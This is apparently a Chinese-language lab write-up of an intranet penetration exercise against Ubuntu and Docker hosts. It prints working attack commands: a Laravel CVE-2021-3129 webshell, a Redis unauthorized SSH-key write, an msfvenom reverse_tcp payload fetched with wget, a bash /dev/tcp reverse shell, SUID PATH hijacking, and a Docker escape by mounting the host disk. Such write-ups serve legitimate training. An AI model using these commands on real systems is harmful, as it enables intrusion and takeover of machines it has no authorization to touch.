网络拓扑
-
扫描目标端口
-
开放80、81两个站点
根据81站点右下角 Laravel v8.29.0 寻找爆出的漏洞
利用网上公开的EXP成功写入后门并连接。利用后门尝试反弹shell,MSF接不到shell????查看主机配置,哦~,监听本地81端口,然后转发到192.168.52.20的8000端口。(要不是靶场,还真不清楚咋回事)
原来访问的是这个,怪不得不能将shell反弹到Kali
-
回头看看开放的6379,呦~
-
写密钥
ssh-keygen -t rsa #生成密钥 (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt #将公钥信息写入1.txt# cat 1.txt | redis-cli -h 192.168.0.103 -x set hello #把1.txt文件内容写入目标主机redis的缓冲中 redis-cli -h 192.168.0.103 config set dir /root/.ssh #设置redis的备份路径为/root/.ssh/ config set dbfilename authorized_keys #设置保存文件名为authorized_keys save
-
ssh root@192.168.0.103
连接成功,查看当前IP -
MSF生成后门文件
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.104 lport=6666 -f elf -o msf.elf
-
Python起一个HTTP服务
-
下载生成的后门
wget http://192.168.0.104:9090/msf.elf
MSF启动监听 -
下一步获取目标主机的网络信息
-
扫描目标网段存活了那些IP,一个没扫到。。。。。。。。多半是防火墙拦了
-
回头查看利用Laravel(CVE-2021-3129)web漏洞 写入的后门,发现当前权限过低需要提权,查看有无 通过环境变量提权的可能性
find / -user root -perm -4000 -print 2>/dev/null
-
查看执行shell文件是什么情况,发现与ps命令相似
-
使用环境变量配合SUID进行提权,环境变量添加失败,网上说需要反弹shell,使用后门连接的情况下确实有问题
-
因为无法将shell直接反弹到kali,所以将shell反弹到52.10上
nc -lvp 1234 #利用redis未授权写入密钥,然后进行SSH链接,再执行 bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/1234 0>&1' #通过webshell执行
-
再进行SUID提权
cp /bin/bash /tmp/ps export PATH=/tmp:$PATH ./shell id
-
然后使用root权限下载后门并执行,后门就享有root权限;
-
kali有Ubuntu2的路由,但是Ubuntu2没有kali的路由,所以生成正向连接的后门,kali主动去连接Ubuntu2;
-
由于Ubuntu1做了代理,实则拿到的webshell为Ubuntu2的,将生成的正向后门通过webshell上传到Ubuntu2
-
MSF启动监听;webshell执行后门
-
发现接收不到shell
-
通过webshell查看根目录,发现
.dockerenv
文件,判断当前处于docker环境
-
docker逃逸 - -Ubuntu1生成公钥
ssh-keygen -f hello #生成名为hello的公钥文件 chmod 600 hello ls cat hello.pub #将内容复制
-
docker逃逸
fdisk -l #查看磁盘文件 ls /dev #查看设备文件 cd / mkdir haha mount /dev/sda1 /haha #将/dev/sda1挂在到/haha目录里 ls /haha
挂载成功
-
docker逃逸 - - 密钥覆盖
cp -avx /haha/home/ubuntu/.ssh/id_rsa.pub /haha/home/ubuntu/.ssh/authorized_keys #-avx将权限也一起复制 echo > /haha/home/ubuntu/.ssh/authorized_keys echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClid+sVn9qavo22Vh1HcHV3i6MclKedlVO1O8jTsFIQbuSJYbcmw6JjB++Twwzz0j0HRFP39ztUtc8DE0Ji+0Fb4opWORynE1TLSI767LOhY9BqFfufGKZEN3qXRZhKLiY67WykEtkSUWvxXXRwHEZneC1cgslPXYx9hdbf5lqwWDJM6+PBFQJ4uyN/BZkLDs7307sBYO90+GAPYeBGBnSkjxLKyr6DNP6eXmfRBB83Y+3F4fJE4gD7kNspvUEl4GyWcg0JrmBusMZb4Iz+0CvtjD1ln7eLhT4hat/7zWn1hoW2FXnvT4bJ1y7GCLczq5lbAsf5AADeOB+o9JEwyc5 root@ubuntu' > /haha/home/ubuntu/.ssh/authorized_keys #将ssh秘钥写入authorized_keys文件
ssh -i haha ubuntu@192.168.52.20 #使用Ubuntu1的shell连接
-
连接成功之后,执行后门文件,如果执行MSF后门文件报错’Segmentation fault (core dumped)'👇,说明机器内存不够用了(淦,这个问题折磨了我3小时23分钟)。后门是重新生成的,端口改为了6789,
-
关闭一些后台以后,再执行后门文件就可以了
-
梅开二度
-
Ubuntu1、Ubuntu2已经拿到了,就是没能把第二层网络里的win7扫出来
先到这吧,第一次捣鼓内网,思路乱,技术菜,请大佬指教